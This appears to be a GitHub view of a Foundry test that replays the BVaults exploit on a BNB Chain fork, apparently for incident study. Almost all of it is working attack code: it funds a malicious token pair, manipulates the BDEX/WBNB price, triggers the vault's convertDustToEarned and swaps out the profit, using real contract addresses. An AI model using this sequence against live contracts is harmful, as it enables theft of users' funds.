generated from foundry-rs/hardhat-foundry-template
-
Notifications
You must be signed in to change notification settings - Fork 214
/
Bvaults.attack.sol
97 lines (74 loc) · 4.44 KB
/
Bvaults.attack.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "forge-std/Test.sol";
import {TestHarness} from "../../TestHarness.sol";
import {IERC20} from "../../interfaces/IERC20.sol";
import {TokenBalanceTracker} from '../../modules/TokenBalanceTracker.sol';
interface IERC20_Burnable is IERC20 {
function burn(uint256 amount) external;
}
interface BVaultsStrategy {
function convertDustToEarned() external;
}
interface Pair {
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
}
contract Exploit_BVaults is TestHarness, TokenBalanceTracker {
IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
IERC20 BDEX = IERC20(0x7E0F01918D92b2750bbb18fcebeEDD5B94ebB867);
IERC20_Burnable maliciousToken = IERC20_Burnable(0x12D18106FC0B3c70AD6C917d247E14941Cdd0f3F);
BVaultsStrategy vaultsStrategy = BVaultsStrategy(0xB2B1DC3204ee8899d6575F419e72B53E370F6B20);
Pair internal constant BDEXWBNB_PAIR = Pair(0x5587ba40B8B1cE090d1a61b293640a7D86Fc4c2D);
Pair internal constant MALICIOUS_PAIR = Pair(0xD35378e477d5D32f87AB977067561DAf9a2c32aA);
address internal constant ATTACKER = 0x5bFAA396C6FB7278024C6d7230B17d97Ce8aB62D;
address internal constant ATTACKER_CONTRACT = 0x1958d75C082D7F10991d07e0016B45a0904D2Eb1;
function setUp() external {
cheat.createSelectFork("bsc", 22629431); // We pin one block before the exploit happened
cheat.label(ATTACKER, "Attacker");
cheat.label(ATTACKER_CONTRACT, "Attacker Contract");
emit log_string("Initial Attacker Balances");
emit log_named_decimal_uint("Malicious Token", maliciousToken.balanceOf(ATTACKER),18);
addTokenToTracker(address(WBNB));
addTokenToTracker(address(BDEX));
addTokenToTracker(address(maliciousToken)); // Apparently, the tracker does not catch this token.
emit log_string("\nInitial");
logBalancesWithLabel('Malicious Contract', ATTACKER_CONTRACT);
logBalancesWithLabel('Vault Contract', address(vaultsStrategy));
}
function test_attack() external {
cheat.startPrank(ATTACKER);
// 1: Sent malicious tokens to the pair
require(maliciousToken.transfer(address(MALICIOUS_PAIR), 10_000 ether), "transfer failed"); // Sends 10.000 tokens to the pair
// 2: Swap to get WBNB into a malicious contract
emit log_string("\nBefore Swap Balances");
logBalancesWithLabel('Malicious Contract', ATTACKER_CONTRACT);
logBalancesWithLabel('Vault Contract', address(vaultsStrategy));
MALICIOUS_PAIR.swap(0, 34534837254230472565, ATTACKER_CONTRACT, "");
emit log_string("\nAfter Swap Balances");
logBalancesWithLabel('Malicious Contract', ATTACKER_CONTRACT);
logBalancesWithLabel('Vault Contract', address(vaultsStrategy));
cheat.stopPrank();
// 3: Transfer, Swap, Convert with BDEXBNB Pair and Vault Strategy
cheat.startPrank(ATTACKER_CONTRACT);
emit log_string("\nBefore Transfer, Swap, Convert Balances");
logBalancesWithLabel('Malicious Contract', ATTACKER_CONTRACT);
logBalancesWithLabel('Vault Contract', address(vaultsStrategy));
require(WBNB.transfer(address(BDEXWBNB_PAIR), 34534837254230472565), "transfer failed");
BDEXWBNB_PAIR.swap(14181664488335977539333, 0, ATTACKER_CONTRACT, ""); // WBNB for BDEX
vaultsStrategy.convertDustToEarned();
emit log_string("\nAfter Transfer, Swap, Convert Balances");
logBalancesWithLabel('Malicious Contract', ATTACKER_CONTRACT);
logBalancesWithLabel('Vault Contract', address(vaultsStrategy));
// 4: Transfer the BDEX back to the BDEX Pair
require(BDEX.transfer(address(BDEXWBNB_PAIR), BDEX.balanceOf(ATTACKER_CONTRACT)), "transfer failed");
BDEXWBNB_PAIR.swap(0, 50800786874975680419, ATTACKER_CONTRACT, ""); // BDEX for WBNB
emit log_string("\n After last swap Balances");
logBalancesWithLabel('Malicious Contract', ATTACKER_CONTRACT);
logBalancesWithLabel('Vault Contract', address(vaultsStrategy));
// 5: Transfer back to the pair
require(WBNB.transfer(address(MALICIOUS_PAIR), WBNB.balanceOf(ATTACKER_CONTRACT)), "transfer failed");
MALICIOUS_PAIR.swap(10229179233811368474425, 0, ATTACKER_CONTRACT, "");
maliciousToken.burn(10229179233811368474425);
}
}